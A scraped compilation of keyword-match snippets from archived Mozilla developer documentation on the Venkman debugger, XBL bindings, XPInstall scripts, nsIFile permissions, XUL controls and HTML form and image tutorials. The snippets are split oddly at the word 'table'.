ll be checked as well. the loaded scripts view the loaded scripts view is in the top left portion of the window. when a file is loaded by the browser it will appear in this view, and when unloaded it will be removed. files are listed in alphabetical order, grouped by file type. file names are displayed after a color coded, single letter icon representing the file extension. figure 6 shows the
table of icon and file types. at the time if this writing, the order and grouping of file names cannot be changed. icon file type .js .html, .htm .xul .xml all other files javascript function figure 6. icons in the script view the "special" function name __toplevel__ is displayed for scripts that are n...
...tion of the type of the object. flags lists one or more applicable flags for this object. flags are shown enumerated in figure 8. if an item visible in the local variables view is modified via the interactive session view the modification will be immediately reflected in the local variable view. at the time of this writing, the local variables view's default sort order and grouping are not adjus
table. the call stack view the call stack view is on the left portion of the window by default, at the bottom. when the debugger is stopped, the call stack view displays the list of active functions. the function at the top of the call stack view is the one in which the debugger stopped, the function below it is the caller, below that is the caller's caller, and so on. these items are referred to a...
...icking in the left margin of this view will set a breakpoint at that line. if the breakpoint is successfully set, the margin will show the letter "b" on a red background, and both the loaded scripts view and interactive session view will provide feedback. the breakpoint can be cleared by clicking in the margin again (on the letter "b"). breakpoints cannot be set on lines which do not contain execu
table code, such as blank and comment lines. for these lines, the interactive session view will display an error message explaining why the breakpoint could not be set. breakpoints can also be set and cleared from the interactive session view, with the break and fbreak commands. the break command takes a file pattern and line number. any loaded file which matches the file pattern, and contains an exec...
...code, such as blank and comment lines. for these lines, the interactive session view will display an error message explaining why the breakpoint could not be set. breakpoints can also be set and cleared from the interactive session view, with the break and fbreak commands. the break command takes a file pattern and line number. any loaded file which matches the file pattern, and contains an execu
table line at the requested line number will have a breakpoint set. if no loaded files match the file pattern or line number, an error message is printed to the console and the command fails. the fbreak command is identical, with the exception that if no files match the pattern or line, a "future breakpoint" is recorded. the next time a file is loaded that matches the pattern and line, a breakpoint wil...
Elements - Archive of obsolete content
ontent><html:b>hello world! </html:b><children/></content> </binding> <binding id="hello2"> <content><html:b>hello from my binding! </html:b><children/></content> </binding> </bindings> you can view the result by opening helloworld.html in firefox. hello.xml should reside in the same directory which contains helloworld.html. next: bindings > binding element. notes in the current s
table releases of mozilla products (e.g. firefox 2) it is impossible to attach bindings to
table sub-elements (rows, cells etc.) you can attach binding only to the
table element itself. this has been fixed for future versions of mozilla products. see bug 83830 for more information and for workarounds. default encoding in xml documents (including xbl files) is utf-8. an explicit encoding declarations m...
...ata #implied display cdata #implied inheritstyle true #implied > the binding element describes a single xbl binding. a xbl binding can add anonymous content, fields, properties, methods, and event handlers to html/xml elements. a single xbl binding can be attached to an element by using style sheets or by scripting. (see bug 83830 for <
table> specifics). css: div { -moz-binding: url(mybinding.xml#default); } dom: elementreference.style.mozbinding = "url(mybinding.xml#default)"; in both cases above we are using binding with id="default" contained in file mybinding.xml starting with firefox 3, you can also use a data: url to embed the binding inline: div { -moz-binding: url(data:text/xml;charset=utf-8,%3c%3fxml%20version%3...
...t must have content which is code that determines the initial value of the field. the field tag must be inside the implementation tag. id - the id attribute is a document-unique identifier. name - the name of the field. this is the name used to refer to the field on the bound element. readonly - if true, this field is read-only. if this attribute is omitted, the field will be readable and wri
table. note: the readonly attribute did not work correctly on xbl fields until gecko 2.0. note: in firefox 3, fields are now evaluated the first time they're accessed instead of at binding attachment time. this shouldn't cause any problems in typical use cases, but there are cases in which this will impact the behavior of your code. see bug 372769 for details. here are some examples of cases in wh...
...nside the implementation tag. id - the id attribute is a document-unique identifier. name - the name of the property. this is the name used to refer to the property on the bound element. readonly - the readonly attribute is used to designate a property as read-only. if set to true, the value of the property cannot be altered. if this attribute is omitted, the property will be readable and wri
table. onget - the onget attribute's value is a script that executes when the value of the property is requested. if this attribute is set, any initial value contained underneath the element will be ignored. the return value of the script represents the value of the property that will be returned to the requestor. a property getter can also be specified as a child of the property element using the get...
Using XPInstall to Install Plugins - Archive of obsolete content
ko, does not support xpinstall. netscape communicator 4.x does not support xpinstall. what does a plugin consist of? plugins can consist of the following types of files, all of which can be installed via an xpi package: shared libraries (i.e. on windows, these are dlls, on unix these are *.so files). these files are native code files made with the netscape plugin api. if the plugin is scrip
table, then it will also consist of an xpt file. examples would be flash 6r47 on windows, which consists of a dll (called npswf32.dll) and an xpt file for scriptability (called flashplayer.xpt). if you are developing a plugin and wish to make it scrip
table, read the relevant portions of the plugin api. additional software. many plugins are part of additional software for media types. for example, real...
...streamlined and within the browser's process, then you ought to consider wrapping it in an xpi package. from javascript, you can call xpinstall's execute method of the install object to execute the binary. you can also call the execute method of the file object if you wish to actually install the file you are executing, rather than have it deleted. you can pass command line parameters to the execu
table. an example of calling the execute method from the install object on an execu
table that has a temporary life span (and is not needed after one execution) is: // initialize the installation .... // initinstall(..... ) has already been called // using the install object's execute method to block on a native installer execute("setup.exe", "-s", true); // in the above sample, assume that runnin...
... we are passing "-s" to the setup file. // by passing 'true' we are telling the install script to block // on the execution of the installable, and do it synchronously // must call performinstall to make it all happen... ...
... err = getlasterror(); if (!err) performinstall(); else cancelinstall(err); installing plugin files to the current browser installing to the current browser is the task that is the most important for the xpi package to succeed in. here is a code snippet that accomplishes this: // name of the files to be installed var plugin_file = "npmyplugin.dll"; var component_file = "npmypluginscrip
tablepeer.xpt"; // invoke initinstall to start the installation .... var pluginfolder = getfolder("plugins"); // verify disk space is appropriate .... err = addfile("@myplugin.com/myplugin,version=2.5.0.0", "2.5.0.0", plugin_file, pluginsfolder, null); if (err != 0) { //alert("installation of myplugin plug-in failed. error code "+err); logcomment("adding file "+plug...
Learn XPI Installer Scripting by Example - Archive of obsolete content
rtant feature of the xpinstall api that can help you streamline and debug your installations. in the example in the executing the installation section and in many places in the installation script, the logcomment api is used to write data to a log file that can then be reviewed when things don't go as planned. the install log is created in the product directory by default (where the browser execu
table is). if the installation doesn't have proper permission, the install log is written to the user's profile directory. respectively, these directories correspond to the "program" and "current user" keywords for the getfolder method. extending the example what does all this mean to you? how can this information be adapted for your own installations? in this final section, we describe the applicati...
...am" and "current user" keywords for the getfolder method. extending the example what does all this mean to you? how can this information be adapted for your own installations? in this final section, we describe the application of the xpinstall technology described here in the creation and deployment of a very simple installation script and installation archive (xpi). say you have a simple execu
table and a readme file that goes with it, and you want to make it available for installation from a xpi. after putting these two files in a xpi (which, as described above, is simply a zip file with an install.js script at the top and a suffix of '.xpi'), the next step is to add an installation script to the xpi. minimally, the installation script must: call initinstall with the name and version of...
...dme file that goes with it, and you want to make it available for installation from a xpi. after putting these two files in a xpi (which, as described above, is simply a zip file with an install.js script at the top and a suffix of '.xpi'), the next step is to add an installation script to the xpi. minimally, the installation script must: call initinstall with the name and version of the execu
table (the version is not optional, though you may or may not use the version in subsequent installations or updates) find somewhere to put the installed files. in the example below, getfolder is used with the "program" keyword to specify the browser's program directory as the target for installation. since i am using ns6 right now on a windows machine, that target directory is "c:\program files\netsc...
... xpidoc = "readme_cdrip"; initinstall("my cd ripper", "cdrip", "1.0.1.7"); f = getfolder("program"); setpackagefolder(f); addfile(xpisrc); addfile(xpidoc); if (0 == getlasterror()) performinstall(); else cancelinstall(); the example above shows this minimal installation. this install script does not include any version or disk space checking, very little error checking, only a single execu
table, no registration, and no commenting. it does, however, take the execu
table and the readme file and install them on the user's system. note also that for the installation script in a xpi to be automatically triggered from a web page, you must use a "trigger script." the following installtrigger function, called from an event handler on a regular web page, will point to the remotely-hosted xpi (cal...
Getting File Information - Archive of obsolete content
file and stream guide: [ nsiscrip
tableio | accessing files | getting file information | reading from files | writing to files | moving, copying and deleting files | uploading and downloading files | working with directories ] important note: the pages from the file and stream guide use the io object (nsiscrip
tableio), which was not available in any released version of the platform (pending some fixes). there are alternative xpcom apis you can use, your help in updating this pages to use the supported api is very much welcome! other documentation on files and i/o not using the unavailable nsiscrip
tableio apis: code snippets: file i/o, open and save dialogs, reading textual data, writing textual data, list of file-related error codes. the nsifile object has a number of useful attribu...
...ge the modification time of a file by setting the lastmodifiedtime (nsifile.attributes) attribute, or you can just write to the file, in which case the value will be adjusted automatically. file permissions several methods may be used to check for file permissions. the following four methods return true or false: nsifile.isreadable() - returns true if the file can be read from. ...
...ifile.attributes) attribute, or you can just write to the file, in which case the value will be adjusted automatically. file permissions several methods may be used to check for file permissions. the following four methods return true or false: nsifile.isreadable() - returns true if the file can be read from. nsifile.iswri
table() - returns true if the file can be written to. nsifile.isexecu
table() - returns true if the file can be executed. nsifile.ishidden() - returns true if the file is hidden. in this example, an exeception will occur if the file cannot be written to. if (!file.iswri
table()) throw "file cannot be modified"; if you aren't sure whether a file can be modified, for example, you may wish to check using nsifile.iswri
table() first. otherwise, an attempt to write to t...
...s = 0640; it is common to use an octal number (a number in base 8 beginning with 0) for permissions as it can make the value easier to read. in this case, the first digit is the permissions for the owner of the file, the second digit is the permissions for the group of the file and the third digit is the permissions for everyone else. the value is a sum of three values, 4 for readable, 2 for wri
table and 1 for execu
table. the default permissions for files when created through an output stream is 0644, which means that the file is readable and wri
table by the owner of the file and read only for others. some of the permissions may not be supported on some platforms. ...
Menus - Archive of obsolete content
firefox menus element id description main-menubar the menubar element. ...
...on the 'view' menu. menuwebdeveloperpopup the menupopup for the 'web developer' submenu on the 'tools' menu. firefox context menu element id description relevant context contentareacontextmenu the popup for the context menu when a web page is displayed in the browser area. ...
... menupopup for the 'web developer' submenu on the 'tools' menu. firefox context menu element id description relevant context contentareacontextmenu the popup for the context menu when a web page is displayed in the browser area. spell-no-suggestions the no spelling suggestions item - no
table as it is the first item on the context menu. ...
...-reload reloads a page context-stop stops loading a page context-bookmarkpage bookmarks a page context-savepage saves a page context-sendpagetodevice send page to device context-sendpage send page in an email context-viewbgimage views a background image context-undo undo edi
table text context-cut cuts to clipboard edi
table text context-copy copies to clipboard context-paste pastes from clipboard edi
table text context-delete deletes selection edi
table text context-selectall selects all context-searchselect selected text is searched context-viewpartialsource-selection ...
The Joy of XUL - Archive of obsolete content
nguage based on w3c standard xml 1.0. applications written in xul are based on additional w3c standard technologies featuring html 4.0; cascading style sheets (css) 1 and 2; document object model (dom) levels 1 and 2; javascript 1.5, including ecma-262 edition 3 (ecmascript); xml 1.0. platform portability like html, xul is designed to be platform-neutral, making applications easily por
table to all of the operating systems on which mozilla runs. considering the broad range of platforms that currently support mozilla, this may be one of the most compelling features of xul as a technology for building applications. since xul provides an abstraction of user interface components, it delivers on the promise of write-once, run-anywhere. the user interface for all of mozilla's core appl...
...much of the same value as these cross platform tools, but with an open source license. as a rapidly maturing cross-platform technology, xul could fill an interesting void for technologies such as java j2ee and microsoft .net which focus on enabling network access to distributed objects. dynamic application logic can benefit significantly from a ui presentation layer that is standards-based, scrip
table, extensible, and similarly distribu
table over the internet. xul blurs the distinction between desktop application and internet browser apps because it is firmly entrenched in both worlds. some web applications will benefit from being migrated to xul because of the enhanced ui capabilities, consistent implementation of the specification across supported platforms, and access to native resources s...
...op, are looking for a technology that will enable you to easily port your applications to multiple platforms, or want to integrate your own cool features into the browser, xul warrants serious consideration. ...
...our applications to multiple platforms, or want to integrate your own cool features into the browser, xul warrants serious consideration. ...
Element Positioning - Archive of obsolete content
element will generally be as large as it needs to be to hold its contents, and no larger. some elements, such as textboxes have a default size, which will be used. a box will be large enough to hold the elements inside the box. a horizontal box with three buttons in it will be as wide as the three buttons, plus a small amount of padding. in the image, the first two buttons have been given a sui
table size to hold their text. the third button is larger because it contains more content. the width of the box containing the buttons is the total width of the buttons plus the padding between them. the height of the buttons is a sui
table size to hold the text. width and height attributes you may need to have more control over the size of an element in a window. there are a number of features that ...
...size of an element in a window. there are a number of features that allow you to control the size of an element. the quick way is to simply add the width and height attributes on an element, much like you might do on an html img tag. an example is shown below: example 1: source view <button label="ok" width="100" height="40"/> however, it is not recommended that you do this. it is not very por
table and may not fit in with some themes. a better way is to use style properties, which work similarly to style sheets in html. the following css properties can be used. width this specifies the width of the element. note that the css global skin of the xul application may also specify a min-width for the buttons and other elements, thus if simply setting the width property does not set the butto...
...monstrates this: example 2 : source view <window orient="horizontal" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <hbox> <button label="yes" flex="1"/> <button label="no"/> <button label="i really don't know one way or the other"/> </hbox> </window> the window will initially appear like in the image earlier. the first two buttons will be sized at a sui
table default width and the third button will be larger because it has a longer label. the first button is made flexible and all three elements have been placed inside a box. the width of the box will be set to the initial total width of all three buttons (around 430 pixels in the image). if you increase the width of the window, elements are checked to see whether they are flexible to fill the blank s...
...ll never have a height that is smaller than 2 ex (an ex is usually the height of the letter x in the current font) or wider than 100 pixels. example 5 the text input is flexible but will never grow to be larger than 10 ems. you will often want to use ems when specifying sizes with text in them. this unit is useful for textboxes so that the font can change and the textboxes would always be a sui
table size, even if the font is very large. example 6 the description element is constrained to have a maximum width of 50 pixels. the text inside will wrap to the next line, after fifty pixels. our find files dialog let's add some of these styles to the find files dialog. we'll make it so that the textbox will resize to fit the entire window. <textbox id="find-text" flex="1" style="min-width: ...
List Controls - Archive of obsolete content
rows, one for each item. example 1 : source view <listbox> <listitem label="butter pecan" /> <listitem label="chocolate chip" /> <listitem label="raspberry ripple" /> <listitem label="squash swirl" /> </listbox> like with the html option element, you can assign a value for each item using the value attribute. you can then use the value in a script. the list box will default to a sui
table size, but you can control the size with the rows attribute. set it to the number of rows to display in the list box. a scroll bar will appear that the user can use to display the additional rows. the following example demonstrates these additional features: example 2 : source view <listbox rows="3"> <listitem label="butter pecan" value="bpecan" /> <listitem label="chocolate chip" value="choc...
...l="taxi" /> <menuitem label="bus" selected="true" /> <menuitem label="train" /> </menupopup> </menulist> this menulist will contain four choices, one for each menuitem element. to show the choices, click the arrow button on the menulist. when one is selected, it appears as the choice in the menulist. the selected attribute is used to indicate the value that is selected by default. ...
...te is used to indicate the value that is selected by default. edi
table menulist by default, you can only select choices from the list. you cannot enter your own text by typing it in. a variant of the menulist allows editing the text in the field. for example, the url field in the browser has a drop-down for selecting previously typed urls, but you can also type them in yourself. ...
...value that is selected by default. edi
table menulist by default, you can only select choices from the list. you cannot enter your own text by typing it in. a variant of the menulist allows editing the text in the field. for example, the url field in the browser has a drop-down for selecting previously typed urls, but you can also type them in yourself. to create an edi
table menulist, add the edi
table attribute as follows: example 6 : source view <menulist edi
table="true"> <menupopup> <menuitem label="www.mozilla.org" /> <menuitem label="www.xulplanet.com" /> <menuitem label="www.dmoz.org" /> </menupopup> </menulist> the url field created here has three pre-populated choices that the user can select or they can enter one of their own by typing it into the field. the text the ...
XUL controls - Archive of obsolete content
for a step-by-step guide on how to use these controls, see the xul tutorial. for more reference information, see the xul reference. <button> a button that can be pressed by the user. <button label="save" accesskey="s"/> more information about the button element. button reference <button type="menu"> a button that has a drop down menu attached to it. pressing the button opens the menu. <button type="menu" label="view"> <menupopup> <menuitem label="list"/> <menuitem label="details"/> </menupopup> </button> more information about this type of menu button element. ...
...s used to create a control with a drop down to select a value. <menulist> <menupopup> <menuitem label="lions" value="l"/> <menuitem label="tigers" value="t"/> <menuitem label="bears" value="b"/> </menupopup> </menulist> more information about the menulist element. ...
...ol with a drop down to select a value. <menulist> <menupopup> <menuitem label="lions" value="l"/> <menuitem label="tigers" value="t"/> <menuitem label="bears" value="b"/> </menupopup> </menulist> more information about the menulist element. ...
...pup> </menulist> more information about the menulist element. menulist reference related elements: menupopup menuitem <menulist edi
table="true"> an edi
table menulist is like a standard menulist except that the selected value is displayed in a textbox where it may be modified directly or values not in the popup list may be entered. <menulist edi
table="true"> <menupopup> <menuitem label="elephants"/> <menuitem label="kangaroos"/> <menuitem label="bats" /> </menupopup> </menulist> more information about the edi
table menulist element. menulist reference related elements: menupopup menuitem <progressmeter> a progress meter is used to display the progress of a lengthy task. <pr...
calICalendarView - Archive of obsolete content
corresponding to an implementation of calicalendarview will be rather complex. this explains the need for the fairly large list off attributes and methods that must be implemented, so that outside code can be able to gain a decent picture of the current state of those nodes. it should be noted, however, that the methods and attributes implemented by a calicalendarview need not behave in any predic
table fashion. for instance, when the showdate method of the the calendar-multiday-view (an implementation of this interface) will sometimes show an entire week of dates, and sometimes show only the single date passed in. this allows lack of required predictability allows calicalendarview implementations to be re-used in a variety of sitatuations. it also fueled the development, however, of the more pr...
...hion. for instance, when the showdate method of the the calendar-multiday-view (an implementation of this interface) will sometimes show an entire week of dates, and sometimes show only the single date passed in. this allows lack of required predictability allows calicalendarview implementations to be re-used in a variety of sitatuations. ...
...re week of dates, and sometimes show only the single date passed in. this allows lack of required predictability allows calicalendarview implementations to be re-used in a variety of sitatuations. it also fueled the development, however, of the more predic
table, but less flexible calidecoratedview, which usually contains an embedded calicalendarview. calendar/base/public/calicalendarview.idlscrip
table please add a summary to this article. ...
...dictability allows calicalendarview implementations to be re-used in a variety of sitatuations. it also fueled the development, however, of the more predic
table, but less flexible calidecoratedview, which usually contains an embedded calicalendarview. calendar/base/public/calicalendarview.idlscrip
table please add a summary to this article. ...
reftest opportunities files - Archive of obsolete content
parser/htmlparser/tests/html/target01.html parser/htmlparser/tests/html/tag008.html parser/htmlparser/tests/html/tag007.html parser/htmlparser/tests/html/tag006.html parser/htmlparser/tests/html/tag005.html parser/htmlparser/tests/html/tag004.html parser/htmlparser/tests/html/tag003.html parser/htmlparser/tests/html/tag002.html parser/htmlparser/tests/html/tag001.html parser/htmlparser/tests/html/
tableall.html parser/htmlparser/tests/html/
table205.html parser/htmlparser/tests/html/
table204.html parser/htmlparser/tests/html/
table203.html parser/htmlparser/tests/html/
table202.html parser/htmlparser/tests/html/
table201.html parser/htmlparser/tests/html/
table200.html parser/htmlparser/tests/html/
table07.html parser/htmlparser/tests/html/
table05o.html parser/htmlparser/tests/html/
table05n.html parse...
...er/tests/html/
table205.html parser/htmlparser/tests/html/
table204.html parser/htmlparser/tests/html/
table203.html parser/htmlparser/tests/html/
table202.html parser/htmlparser/tests/html/
table201.html parser/htmlparser/tests/html/
table200.html parser/htmlparser/tests/html/
table07.html parser/htmlparser/tests/html/
table05o.html parser/htmlparser/tests/html/
table05n.html parser/htmlparser/tests/html/
table05m.html parser/htmlparser/tests/html/
table05l.html parser/htmlparser/tests/html/
table05k.html parser/htmlparser/tests/html/
table05d.html parser/htmlparser/tests/html/
table05c.html parser/htmlparser/tests/html/
table05b.html parser/htmlparser/tests/html/
table05a.html parser/htmlparser/tests/html/strike008.html parser/htmlparser/tests/html/strike007.html parser/htmlparser/tests/html/strike006.html p...
...sts/html/br001.html parser/htmlparser/tests/html/bigtxt.html parser/htmlparser/tests/html/bigscript.html parser/htmlparser/tests/html/bdo001.html parser/htmlparser/tests/html/badscript.html parser/htmlparser/tests/html/attribute_quote_bug1.html parser/htmlparser/tests/html/atoi01.html parser/htmlparser/tests/html/aname01.html parser/htmlparser/tests/html/acronym1.html parser/htmlparser/tests/html/
table_illegal_2.html parser/htmlparser/tests/html/
table_illegal_1.html parser/htmlparser/tests/html/
table06.html parser/htmlparser/tests/html/
table05j.html parser/htmlparser/tests/html/
table05i.html parser/htmlparser/tests/html/
table05h.html parser/htmlparser/tests/html/
table05g.html parser/htmlparser/tests/html/
table05f.html parser/htmlparser/tests/html/
table05e.html parser/htmlparser/tests/html/
table...
...ts/html/
table_illegal_1.html parser/htmlparser/tests/html/
table06.html parser/htmlparser/tests/html/
table05j.html parser/htmlparser/tests/html/
table05i.html parser/htmlparser/tests/html/
table05h.html parser/htmlparser/tests/html/
table05g.html parser/htmlparser/tests/html/
table05f.html parser/htmlparser/tests/html/
table05e.html parser/htmlparser/tests/html/
table05.html parser/htmlparser/tests/html/
table04.html parser/htmlparser/tests/html/
table03.html parser/htmlparser/tests/html/
table02.html parser/htmlparser/tests/html/
table01.html parser/htmlparser/tests/html/entity.html parser/htmlparser/tests/html/bug1239.html parser/htmlparser/tests/html/bug1220.html parser/htmlparser/tests/html/bug1203.html parser/htmlparser/tests/html/96130.html parser/htmlparser/tests/html/94208.html parser/htmlparser/t...
Browser Feature Detection - Archive of obsolete content
ds and reports a rating as the percentage of names the browser defines. this article has generally never been more than a way to show off firefox web compatibility, rather than something truly informative in a broader sense. therefore, given that it's also badly out of date, it's been archived. you should not rely on any information here. browser sniffing via api name detection the following
tables list the api names defined for specific w3c dom apis and lists the percentage of names that your browser actually defines followed by a list of each of the api names tested along with an indication of whether the name was defined for your browser. it is clear from these test results that netscape 7.0x and mozilla firefox have the greatest dom support although internet explorer, safari, and oper...
... richness true false false right true true true size true false true speak true false true speakheader true false false speaknumeral true false false speakpunctuation true false false speechrate true false true stress true false false
tablelayout true true true textshadow true false true top true true true unicodebidi true true true visibility true true true voicefamily true false true volume true false true widows true false true zindex true true true test code // document ...
...alse}, {name: 'richness', 'supported': false}, {name: 'right', 'supported': false}, {name: 'size', 'supported': false}, {name: 'speak', 'supported': false}, {name: 'speakheader', 'supported': false}, {name: 'speaknumeral', 'supported': false}, {name: 'speakpunctuation', 'supported': false}, {name: 'speechrate', 'supported': false}, {name: 'stress', 'supported': false}, {name: '
tablelayout', 'supported': false}, {name: 'textshadow', 'supported': false}, {name: 'top', 'supported': false}, {name: 'unicodebidi', 'supported': false}, {name: 'visibility', 'supported': false}, {name: 'voicefamily', 'supported': false}, {name: 'volume', 'supported': false}, {name: 'widows', 'supported': false}, {name: 'zindex', 'supported': false} ] }; function supports(object, fea...
...].supported = true; ++level; } return math.floor( (100 * level) / features.length ); } function generatereport(object, featureset, description) { var i; var features = _features[featureset]; document.write('<p><b>' + featureset + ' support for properties/methods in ' + description + ', percentage of names defined = ' + supports(object, featureset) + '%<\/b><\/p>'); document.write('<
table cellspacing="0">'); for (i = 0; i < features.length; i++) { if (features[i].supported) document.write('<tr><td>' + features[i].name + '<\/td><td>' + features[i].supported + '<\/td><\/tr>'); else document.write('<tr><td>' + features[i].name + '<\/td><td style="background-color:red">' + features[i].supported + '<\/td><\/tr>'); } document.write('<\/
table>'); } var oldon...
Old Proxy API - Archive of obsolete content
n-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. warning: the spidermonkey proxy implementation is a prototype and the proxy api and semantics specifications are uns
table. the spidermonkey implementation may not reflect the latest specification draft. it is subject to change anytime. it is provided as an experimental feature. do not rely on it for production code. introduction proxies are objects for which the programmer has to define the semantics in javascript. the default object semantics are implemented in the javascript engine, often written in lower-level...
...eceiver is either the proxy or an object that inherits from the proxy. ...
...ject that inherits from the proxy. ...
...n desc) { if (desc.wri
table) { desc.value = val; this.defineproperty(name, desc); return true; } else { return false; } } else { // accessor if (desc.set) { desc.set.call(receiver, val); return true; } else { return false; } } } desc = this.getpropertydescriptor(name); if (desc) { if ('wri
table' in desc) { if (desc.wri
table) { // fall through } else { return false; } } else { // accessor if (desc.set) { desc.set.call(receiver, val); return true; } else { return false; } } } this.defineproperty(name, { value: val, wri
table: true, enumerable: true, configurable: true}); return true; }...
Styling the Amazing Netscape Fish Cam Page - Archive of obsolete content
take a cruise through one aspect of the redesign with master styler eric meyer. it's a well-known maxim that if you stick around long enough, you get a chance to see the tides of history turn. if you're lucky, you get to ride the surf that second time around without being knocked over by the waves. i was privileged enough to have that chance recently: i was asked to redesign the amazing netscape fish cam page for a new millennium. ...
... to join jacques cousteau on a dive, even down to the required time travel. i dove right in and decided to have some fun with with the redesign, which is why i rather like the final result. to share the joy, i herein present a look into just one piece of the redesign, and how i accomplished certain effects using simple html and some css. marking up the fish in the old fish cam page, there was a
table that contained the pictures and descriptions of the fish. well, i couldn't letthat continue—fish are flexible, slippery things, and
tables are very much not. so i decided to break up the content so that there is a self-contained bit of markup for each fish, and then get down to styling. here's what one of those bits looks like once all the css has been applied. in order to make the fish cam ...
...at the end of it, there were a series of div elements that contained a picture of the fish, the name of the fish, and one or more paragraphs of text about the fish. here's a typical (and short) example. ...
... reason for the class value being card is that the original idea was to style each fish's description like a trading card. although this design approach was abandoned fairly quickly, the class name stuck, kind of like a barnacle. giving the fish some style with the markup all set, it was time to style. the idea was to have the fish listed in a side-by-side arrangement, sort of like a two-column
table, only without the
table. this was most easily accomplished by floating the div elements themselves. since i wanted them to be side by side, it was important to be sure the total width of the element boxes (including margins) was less than 50%, so the first step was this: div.card {float: left; width: 45%; margin: 1em 2% 0 2%;} by making the content of each card 45% the width of the containing...
Choosing Standards Compliance Over Proprietary Practices - Archive of obsolete content
ature, they discover that they need more processes to give them greater control, which allows them to more easily plan and predict. with processes, organizations can make release schedules, implement marketing plans, analyze resource allocations, and make adjustments when needed. adherence to standards and processes can actually provide a level of flexibility because development does become predic
table. in addition to predictability, standard processes improve understanding and streamline costs. common development process as an organization matures, managers and engineers develop a fundamental understanding of the importance of requiring adherence to these processes. when projects are proposed, they are evaluated to ensure compatibility with the overall business strategy. product marketing mu...
...set the standard. following open standards has an added benefit. when it is necessary for an organization to interact with other applications through alliances, merger, or acquisition, the integration and interoperability is much less costly if all parties involved follow the standards from the outset. consistent standards significantly reduce development re-work, and ensure consistent and predic
table behavior from one application to the next. user experience & goodwill customer retention and market expansion is critical. when customers choose to use a particular product, they must have a positive experience with consistent, reliable, and predic
table behavior. as users become more sophisticated, and as additional devices become more affordable, they will be accessing the same information acr...
...isticated, and as additional devices become more affordable, they will be accessing the same information across a variety of devices – and expect them to look and act the same – regardless of whether they are accessing a web site from their desktop, phone, or handheld. consequently, if an organization offers a suite of products they must ensure that the user experience is consistent and predic
table across the product line. consistency to be successful, organizations need to understand this user expectation and provide a consistent experience across their product offerings. when usability alters too much across products, users complain. apple and microsoft have learned this lesson well. when a macintosh user shifted from mac os 8.x to mac os 9.x, the interface and desktop metaphor was vir...
...st. apple received both good and bad press; and they lost some users and won some others over. an example of how consistent user experience wins user loyalty can be seen in how microsoft ensures common behavior across applications. for example, in word, excel, and other windows applications, we know that pressing ctl+c within any microsoft product means copy. the behavior is consistent and predic
table and has subsequently become the de-facto standard. the reason it is consistent and predic
table is because microsoft has established a corporate set of usability standards and supports the relevant international standards. accessibility no organization can afford to overlook or ignore accessibility standards. within the web environment, the accessibility standards are closely tied to html, xml, ...
Accessible multimedia - Learn web development
cy, a basic understanding of html, css, and javascript, an understanding of what accessibility is. objective: to understand the accessibility issues behind multimedia, and how to overcome them. multimedia and accessibility so far in this module we have looked at a variety of content and what needs to be done to ensure its accessibility, ranging from simple text content to data
tables, images, native controls such as form elements and buttons, and even more complex markup structures (with wai-aria attributes). this article on the other hand looks at another general class of content that arguably isn't as easy to ensure accessibility for — multimedia. images, videos, <canvas> elements, flash movies, etc., aren't as easily understood by screenreaders or navigated by the keyb...
...text transcripts. these can either be included on the same page as the audio in some way, or included on a separate page and linked to. in terms of actually creating the transcript, your options are: commercial services — you could pay a professional to do the transcription, see for example companies like scribie, casting words, or rev. look around and ask advice to make sure you find a repu
table company that you'll be able to work with effectively. community/grass roots/self transcription — if you are part of an active community or team in your workplace, then you could ask them for help with doing the translations. you could even have a go at doing them yourself. automated services — there are ai services available, like trint or transcribear. upload a video/audio file to the site...
...udio file to the site, and it automatically transcribes it for you. on youtube you can choose to generate automated captions/transcripts. depending on how clear the spoken audio is, the resulting transcript quality will vary greatly. as with most things in life, you tend to get what you pay for; different services will vary in accuracy and time taken to produce the transcript. if you pay a repu
table company or ai service to do the transcription, you will probably get it done rapidly and to a high quality. if you don't want to pay for it, you are likely to get it done at a lower quality, and/or slowly. it is not ok to publish an audio resource but promise to publish the transcript later on — such promises often aren't kept, which will erode trust between you and your users. if the audio yo...
...lity. if you don't want to pay for it, you are likely to get it done at a lower quality, and/or slowly. it is not ok to publish an audio resource but promise to publish the transcript later on — such promises often aren't kept, which will erode trust between you and your users. if the audio you are presenting is something like a face to face meeting or live spoken performance, it would be accep
table to take notes during the performance, publish them in full along with the audio, then seek help in cleaning up the notes afterwards. transcript examples if you use an automated service, then you'll probably have to use the user interface that the tool provides. for example, take a look at our wait, aria roles have categories? video and choose the three dot menu (. . .) > show transcript. you'll...
Other form controls - Learn web development
contain should be put between the opening and closing tags. in contrast, the <input> is an empty element with no closing tag — any default value is put inside the value attribute. note that even though you can put anything inside a <textarea> element (including other html elements, css, and javascript), because of its nature, it is all rendered as if it was plain text content. (using contentedi
table on non-form controls provides an api for capturing html/"rich" content instead of plain text). visually, the text entered wraps and the form control is by default resizable. modern browsers provide a drag handle that you can drag to increase/decrease the size of the text area. the following screenshots show default, focused, and disabled <textarea> elements in firefox 71 and safari 13 on macos,...
...bute on the desired <option> element — this option is then preselected when the page loads. the <option> elements can be nested inside <optgroup> elements to create visually associated groups of values: <select id="groups" name="groups"> <optgroup label="fruits"> <option>banana</option> <option selected>cherry</option> <option>lemon</option> </optgroup> <optgroup label="vege
tables"> <option>carrot</option> <option>eggplant</option> <option>potato</option> </optgroup> </select> on the <optgroup> element, the value of the label attribute is displayed before the values of the nested options. the browser usually sets them visually apart from the options (i.e. by being bolded and at a different nesting level) so they are less likely to be confused for actual ...
...ment, you can allow users to select several values, by using the default mechanism provided by the operating system (e.g. holding down cmd/ctrl and clicking multiple values on desktop). <select id="multi" name="multi" multiple size="2"> <optgroup label="fruits"> <option>banana</option> <option selected>cherry</option> <option>lemon</option> </optgroup> <optgroup label="vege
tables"> <option>carrot</option> <option>eggplant</option> <option>potato</option> </optgroup> </select> note: in the case of multiple choice select boxes, you'll notice that the select box no longer displays the values as drop-down content — instead, all values are displayed at once in a list, with the optional size attribute determining the height of the widget. note: all br...
...m. ...
Images in HTML - Learn web development
no access to keyboard users). if you are interested in more information about this, read the trials and tribulations of the title attribute by scott o'hara. it is better to include such supporting information in the main article text, rather than attached to the image. active learning: embedding an image it is now yo...
...rrect width and height (hint: it is 200px wide and 171px high), then experiment with other values to see what the effect is. set a title on the image. if you make a mistake, you can always reset it using the reset button. ...
